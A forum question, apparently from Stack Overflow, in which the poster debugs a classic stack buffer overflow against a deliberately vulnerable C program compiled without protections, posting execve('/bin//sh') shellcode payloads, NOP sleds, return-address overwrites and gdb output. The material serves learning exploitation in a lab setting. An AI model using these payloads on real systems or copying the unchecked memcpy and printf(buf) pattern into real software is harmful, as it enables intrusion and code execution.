title: Why is my stack buffer overflow exploit not working?
body: <p>So I have a really simple stackoverflow:</p>
  
  <pre><code>#include &lt;stdio.h&gt;
  
  int main(int argc, char *argv[]) {
  
      char buf[256];
      memcpy(buf, argv[1],strlen(argv[1]));
      printf(buf);
  
  }
  </code></pre>
  
  <p>I'm trying to overflow with this code:</p>
  
  <pre><code>$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*237 + 'c8f4ffbf'.decode('hex')")
  </code></pre>
  
  <p>When I overflow the stack, I successfully overwrite EIP with my wanted address but then nothing happens. It doesn't execute my shellcode.</p>
  
  <p>Does anyone see the problem? Note: My python may be wrong.</p>
  
  <hr>
  
  <p>UPDATE</p>
  
  <p>What I don't understand is why my code is not executing. For instance if I point eip to nops, the nops never get executed. Like so,  </p>
  
  <pre><code>$(python -c "print '\x90'*50 + 'A'*210 + '\xc8\xf4\xff\xbf'")
  </code></pre>
  
  <hr>
  
  <p>UPDATE</p>
  
  <p>Could someone be kind enough to exploit this overflow yourself on linux
   x86 and post the results?</p>
  
  <hr>
  
  <p>UPDATE</p>
  
  <p>Nevermind ya'll, I got it working. Thanks for all your help.</p>
  
  <hr>
  
  <p>UPDATE</p>
  
  <p>Well, I thought I did. I did get a shell, but now I'm trying again and I'm having problems.</p>
  
  <p>All Im doing is overflowing the stack at the beginning and pointing my shellcode there.</p>
  
  <p>Like so,</p>
  
  <pre><code>r $(python -c 'print "A"*260 + "\xcc\xf5\xff\xbf"')
  </code></pre>
  
  <p>This should point to the A's. Now what I dont understand is why my address at the end gets changed in gdb.</p>
  
  <p>This is what gdb gives me,</p>
  
  <pre><code>Program received signal SIGTRAP, Trace/breakpoint trap.
  0xbffff5cd in ?? ()
  </code></pre>
  
  <p>The \xcc gets changed to \xcd. Could this have something to do with the error I get with gdb?</p>
  
  <p>When I fill that address with "B"'s for instance it resolves fine with \x42\x42\x42\x42. So what gives?</p>
  
  <p>Any help would be appreciated.</p>
  
  <p>Also, I'm compiling with the following options:</p>
  
  <pre><code>gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o so so.c
  </code></pre>
  
  <p>It's really odd because any other address works except the one I need.</p>
  
  <hr>
  
  <p>UPDATE</p>
  
  <p>I can successfully spawn a shell with the following in gdb,</p>
  
  <pre><code>$(python -c "print '\x90'*37 +'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*200 + '\xc8\xf4\xff\xbf'")
  </code></pre>
  
  <p>But I don't understand why this works sometimes and doesn't work other times. Sometimes my overwritten eip is changed by gdb. Does anyone know what I am missing? Also, I can only spwan a shell in gdb and not in the normal process. And on top of that, I can only seem to start a shell once in gdb and then gdb stops working.</p>
  
  <p>For instance, now when I run the following I get this in gdb...</p>
  
  <pre><code>Starting program: /root/so $(python -c 'print "A"*260 + "\xc8\xf4\xff\xbf"')
  
  Program received signal SIGSEGV, Segmentation fault.
  0xbffff5cc in ?? ()
  </code></pre>
  
  <p>This seems to be caused by execstack be turned on.</p>
  
  <hr>
  
  <p>UPDATE</p>
  
  <p>Yeah, for some reason I'm getting different results but the exploit is working now. So thank you everyone for your help. If anyone can explain the results I received above, I'm all ears. Thanks.</p>